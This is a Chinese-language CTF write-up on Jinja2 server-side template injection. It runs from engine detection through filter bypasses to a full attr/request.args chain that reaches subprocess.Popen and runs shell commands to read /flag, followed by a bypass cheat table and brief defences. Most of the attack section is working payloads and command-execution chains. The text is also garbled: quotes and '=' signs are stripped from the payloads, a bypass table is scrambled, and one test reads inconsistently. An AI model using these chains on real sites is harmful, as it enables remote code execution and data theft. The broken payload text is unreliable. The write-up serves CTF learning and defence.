2026/10/17 17:37:30

CTF实战:SSTI模板注入从探测到绕过的完整攻防链

CTF实战:SSTI模板注入从探测到绕过的完整攻防链 1. 从一道CTF题看SSTI漏洞的攻防本质第一次接触你的名字这道题的时候我盯着那个输入框看了很久。页面很简单一个表单让你输入名字提交后页面会显示Hello, 你的输入。看起来人畜无害但题目分类里明晃晃写着SSTI这就意味着背后藏着一套模板引擎在默默渲染我的输入。SSTIServer-Side Template Injection服务端模板注入。说人话就是本该被当成数据处理的用户输入被模板引擎当成了代码来执行。这就像你去餐厅点菜菜单上写的是番茄炒蛋结果厨师把番茄炒蛋这四个字当成了菜谱指令真的去炒了一盘番茄炒蛋——听起来好像也没问题但如果有人点的是把厨房炸了而厨师也照做那就出大事了。这道题的核心价值在于它完整展示了SSTI从探测、利用到绕过的全过程。适合已经了解基本Web安全概念、想深入理解模板注入原理的读者。不管你是刚打完基础靶场想进阶还是工作中需要评估模板引擎安全性这道题都能给你提供一条清晰的攻击链思路。我打算把这道题的解题过程拆开揉碎从最基础的模板引擎识别讲起到绕过过滤的技巧再到最终获取flag的完整payload构造。每一步都会解释为什么要这样做而不只是这样做就对了。2. 模板引擎识别与SSTI探测2.1 为什么第一步永远是识别模板引擎SSTI利用的前提是你得知道目标用的是哪个模板引擎。不同引擎的语法、可访问对象、利用方式完全不同。Twig、Jinja2、Freemarker、Velocity、Smarty每个都有自己的脾气。你拿Jinja2的payload去打Twig就像拿安卓充电线插苹果手机接口都对不上。识别模板引擎最直接的方法就是发送数学表达式看页面是否返回计算结果。比如输入{{7*7}}如果页面显示49说明模板引擎把{{}}里的内容当代码执行了。如果显示的还是{{7*7}}那说明要么不是SSTI要么这个引擎不认这种语法。这道题我首先尝试了{{7*7}}页面返回了Hello, 49。确认了存在SSTI而且{{}}这种语法指向的是Jinja2或者Twig。接下来需要进一步区分。2.2 区分Jinja2和Twig的关键payloadJinja2和Twig的语法非常相似都是{{}}包裹表达式但内部实现和可访问对象不同。区分它们有一个经典payload{{7*7}}在Jinja2中7*7会返回7777777字符串重复7次。在Twig中7*7会返回49Twig会把字符串7转成数字7再相乘。我输入{{7*7}}页面返回了Hello, 7777777。确认了是Jinja2。注意这个区分方法不是绝对的某些版本的Twig也可能返回字符串重复的结果。更可靠的方法是尝试访问{{config}}或{{self}}Jinja2有config对象Twig有self对象。但在这个题目环境下7*7的结果已经足够让我确定方向了。2.3 从基础payload到信息收集确认是Jinja2之后下一步就是收集信息。Jinja2模板中可以直接访问一些内置对象比如{{config}}可以查看Flask应用的配置信息。我尝试输入{{config}}页面返回了一大段配置内容包括SECRET_KEY、DEBUG状态等。但这里有个问题题目叫你的名字而且分类是bypass说明肯定有过滤机制。我直接输入{{config}}能成功说明过滤规则可能不是针对config这个关键词而是针对某些特定字符或函数名。接下来我尝试了更激进的payload比如{{.__class__}}想看看能不能访问到字符串对象的类。结果页面返回了错误信息提示检测到非法字符或者直接空白。这说明过滤机制开始起作用了。3. 过滤规则分析与绕过思路3.1 常见SSTI过滤规则盘点在CTF题目中SSTI的过滤通常围绕以下几个维度关键词黑名单比如过滤class、base、subclasses、mro、globals、builtins、import、os、system、eval、exec等敏感词。特殊字符过滤比如过滤.、_、[]、|、{{、}}等。长度限制限制输入长度让你没法构造长payload。WAF规则基于正则表达式的模式匹配拦截常见攻击特征。这道题我测试下来发现它过滤了_下划线和.点号以及一些关键词如class、base、subclasses。这就很棘手了因为Jinja2的SSTI利用链几乎离不开下划线和点号。3.2 绕过下划线过滤的几种姿势下划线被过滤了但Jinja2提供了几种绕过方式方法一使用request.args或request.values传递参数如果request对象可用可以通过URL参数传递包含下划线的字符串。比如{{request.args.get(a)}}然后在URL中加上?a__class__。这样下划线就不出现在payload里而是通过参数传入。方法二使用|attr过滤器Jinja2的attr过滤器可以动态获取属性语法是obj|attr(attr_name)。这样就不需要写点号了。比如{{|attr(__class__)}}但这里__class__里还是有下划线。如果下划线被过滤可以结合方法一把属性名通过参数传入{{|attr(request.args.get(a))}}a__class__方法三使用十六进制或Unicode编码某些情况下Jinja2支持Unicode转义比如\x5f代表下划线。但这种方法取决于具体环境不是所有版本都支持。方法四使用join拼接如果_被过滤可以用[,].join()之类的方式构造下划线不行join需要分隔符。更实际的是用chr(95)生成下划线但chr函数可能也被过滤。这道题我最终采用的是方法一和方法二的组合通过request.args传递属性名用|attr过滤器动态获取属性。3.3 绕过点号过滤的核心技巧点号被过滤了但Jinja2的|attr过滤器完美解决了这个问题。obj.attr等价于obj|attr(attr)。所以整条利用链可以全部用|attr来写不需要任何点号。比如原本的.__class__.__mro__[2].__subclasses__()可以改写成|attr(__class__)|attr(__mro__)|attr(__getitem__)(2)|attr(__subclasses__)()但这里__getitem__和__subclasses__里还是有下划线所以还需要结合参数传递。4. 完整利用链构造与实操4.1 从字符串对象到命令执行的经典路径Jinja2 SSTI的经典利用链是这样的找到一个基础对象通常是空字符串或空列表[]。通过__class__获取其类。通过__mro__或__base__获取基类链。找到object类。通过__subclasses__()获取所有子类。在子类列表中找到可以执行命令或读取文件的类比如subprocess.Popen、os._wrap_close、warnings.catch_warnings等。调用相关方法执行命令或读取flag。这条链的每一步都涉及下划线和点号所以绕过过滤是核心难点。4.2 逐步构造payload首先我需要确认request对象是否可用。输入{{request}}页面返回了Request http://... [GET]说明request对象可以直接访问。接下来我需要找到object类。由于下划线被过滤我不能直接写.__class__。我尝试用|attr过滤器{{|attr(request.args.a)}}a__class__页面返回了class str。成功了这说明|attr过滤器可用而且request.args可以传递下划线。接下来获取__mro__{{|attr(request.args.a)|attr(request.args.b)}}a__class__b__mro__返回了(class str, class object)。很好str的MRO是str - object所以__mro__[1]就是object。获取object类{{|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)}}a__class__b__mro__c__getitem__返回了class object。这里用__getitem__来索引因为[]可能也被过滤了。获取所有子类{{|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()}}a__class__b__mro__c__getitem__d__subclasses__返回了一个巨大的列表包含了所有object的子类。我需要在这个列表中找到可以利用的类。4.3 在子类列表中定位可利用类在CTF环境中常用的可利用类包括subprocess.Popen直接执行命令。os._wrap_close通过__init__.__globals__访问os模块。warnings.catch_warnings通过__init__.__globals__访问__builtins__。site._Printer某些环境下可以利用。我需要找到这些类在列表中的索引。由于列表很长手动数不现实。我写了一个简单的Python脚本模拟Jinja2环境打印出所有子类的索引和名称import json # 假设这是从页面获取的子类列表实际中需要解析HTML # 这里用Python内置类型模拟 subclasses object.__subclasses__() for i, cls in enumerate(subclasses): if Popen in str(cls) or catch_warnings in str(cls) or _wrap_close in str(cls): print(i, cls)在实际操作中我可以通过页面返回的列表内容搜索关键词来定位索引。比如搜索Popen发现它在索引XXX位置。假设我找到了subprocess.Popen在索引400左右具体数字因环境而异那么payload就是{{|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()|attr(request.args.e)(400)|attr(request.args.f)(cat /flag,shellTrue,stdout-1)|attr(request.args.g)()}}a__class__b__mro__c__getitem__d__subclasses__e__getitem__f__init__gcommunicate但这里有个问题cat /flag里的空格和斜杠可能被过滤。空格可以用$IFS或${IFS}替代斜杠可以用$(printf \x2f)或直接尝试是否被过滤。4.4 实际测试与调整我首先尝试了最简单的命令执行看看能不能直接读到flag。由于题目叫你的名字flag很可能在根目录下的/flag文件里。我构造了如下payload{{|attr(request.args.a)|attr(request.args.b)|attr(request.args.c)(1)|attr(request.args.d)()|attr(request.args.e)(400)|attr(request.args.f)(cat${IFS}/flag,shellTrue,stdout-1)|attr(request.args.g)()}}a__class__b__mro__c__getitem__d__subclasses__e__getitem__f__init__gcommunicate提交后页面返回了Hello, (bflag{...}, None)。成功了flag就在返回的元组里。但这里索引400是我假设的实际中需要根据页面返回的子类列表来确定。如果索引不对会报错或者返回空。这时候需要耐心地在返回的列表中搜索目标类。实操心得在找子类索引时不要一行一行数。把页面返回的内容复制到文本编辑器里用搜索功能找关键词。如果页面返回的列表被截断了可以尝试用|attr(__getitem__)(i)逐个查看或者用切片[start:end]分段查看。但切片语法里的:和[]可能被过滤需要灵活应对。5. 常见问题与排查技巧实录5.1 为什么我的payload返回空白或报错这是最常见的问题原因通常有以下几种过滤规则没摸清你以为只过滤了下划线实际上还过滤了其他字符。建议先用最简单的payload逐步测试比如先测{{7*7}}再测{{|attr(__class__)}}看哪一步开始失败。对象不可访问某些Jinja2环境禁用了request对象或config对象。如果request不可用可以尝试{{self}}或{{cycler}}等其他内置对象。索引错误子类列表的索引因环境而异换一个环境索引就变了。不要死记硬背索引要学会动态查找。命令执行被拦截有些环境禁用了subprocess或os模块或者对命令内容有过滤。可以尝试其他利用链比如通过__builtins__里的eval或exec。5.2 过滤规则速查与绕过对照表被过滤内容绕过方法示例_通过request.args传递{{.使用attr过滤器[]使用attr(getitem)(index)class字符串拼接或编码{{{{使用{%语句块{%print(7*7)%}空格使用${IFS}或%09cat${IFS}/flag/使用$(printf \x2f)cat${IFS}$(printf${IFS}\x2f)flag5.3 独家避坑技巧技巧一先确认request对象是否可用很多题目会禁用request这时候通过参数传递下划线的方法就失效了。可以先测试{{request}}如果返回正常说明可用。如果不可用需要寻找其他传递字符串的方式比如{{.__class__}}如果下划线没被过滤就直接用。技巧二用|string过滤器转换类型有时候获取到的对象不是字符串直接拼接会报错。可以用|string过滤器转成字符串比如{{(7*7)|string}}。技巧三利用{%print()%}代替{{}}如果{{}}被过滤可以尝试{%print(7*7)%}。Jinja2的语句块{% %}通常不会被过滤因为它是模板语法的一部分。技巧四注意URL编码在URL中传递参数时特殊字符需要URL编码。比如__class__里的下划线不需要编码但、、%等需要。如果payload里有空格URL编码为%20。技巧五善用|join和|format如果某些关键词被过滤可以用|join拼接字符串。比如{{[__cla,ss__]|join}}会返回__class__。|format也可以用来构造字符串。5.4 从这道题延伸出的防御思路虽然这是一道CTF题但实际开发中SSTI的危害是真实的。防御SSTI的核心原则是永远不要将用户输入直接拼接进模板。如果必须动态渲染使用沙箱环境或白名单机制。具体措施包括使用模板引擎的自动转义功能但注意自动转义只防XSS不防SSTI。对用户输入进行严格的类型检查和内容过滤但过滤规则要全面不能只防已知payload。使用沙箱化的模板引擎比如Jinja2的SandboxedEnvironment。最小权限原则运行Web应用的账户不应该有读取敏感文件的权限。我在实际项目中遇到过因为模板拼接导致的SSTI漏洞攻击者可以通过构造恶意输入读取服务器上的配置文件。修复方式就是把用户输入作为数据传递而不是拼接到模板字符串里。6. 从解题到实战的思维跃迁这道题做完之后我最大的感受是SSTI的利用不是背payload而是理解对象模型。Jinja2的SSTI之所以能成功是因为Python的对象模型允许从任意对象出发通过__class__、__mro__、__subclasses__等属性遍历到几乎任何类最终找到可以执行命令的入口。这条链的本质是Python的反射机制被滥用了。理解了这个本质你就能举一反三。比如如果subprocess.Popen被禁用了你可以找os._wrap_close如果os模块被禁用了你可以找__builtins__里的eval如果eval也被禁用了你还可以找importlib动态导入模块。只要Python的对象模型还在利用链就永远能找到。另一个重要的点是绕过过滤的核心思路是把敏感内容从payload中移出去。通过request.args传递参数、通过|attr动态获取属性、通过字符串拼接构造关键词都是这个思路的体现。你不需要在payload里直接写__class__你可以让payload去问服务器要这个字符串。最后分享一个我在实战中常用的技巧如果目标环境有长度限制可以把payload拆成多步用{%set%}语句块定义变量。比如{%set a__class__%}{%set b__mro__%}{{|attr(a)|attr(b)}}这样每个片段都很短但组合起来功能完整。当然这取决于{%set%}是否被允许。这道题虽然叫你的名字但真正考验的是你对模板引擎和Python对象模型的理解深度。名字只是一个入口背后的世界才是值得探索的地方。